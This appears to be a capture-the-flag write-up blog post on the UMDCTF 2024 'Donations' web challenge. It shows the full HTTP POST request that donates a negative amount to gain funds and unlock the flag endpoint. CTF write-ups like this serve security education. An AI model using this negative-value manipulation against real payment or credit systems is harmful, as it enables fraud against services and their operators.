trees/blog/archive/umdctf-2024-donations.md


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

---
title: "umdctf2024 - Donations"
date: 2024-04-28T18:57:47-03:00
draft: false
description: ""
tags: ["web", "ctf"]
---


After downloading and prettifying the javascript code we see that there's a `/api/flag` and a `/api/donate` endpoints.

The flag route returns:

```json
{"detail":"only the wealthy may view the treasure..."}
```

After trying some things that didn't work, I went to the donate functionality.
Using the parameters that I found in the javascript I is playing with this funcionality and noticed that you can only donate to a specific user

```json
{"detail":"you may only donate to Jeff Bezos"}
```

And somehow that Jeff Bezos's id is `lisanalgaib`

The solution was to donate a negative amount and earn that in return.

```http
POST /api/donate HTTP/2
Host: donations-api.challs.umdctf.io
Content-Length: 30
Cookie: session=...
Content-Type: application/x-www-form-urlencoded

to=lisanalgaib&currency=-99999
```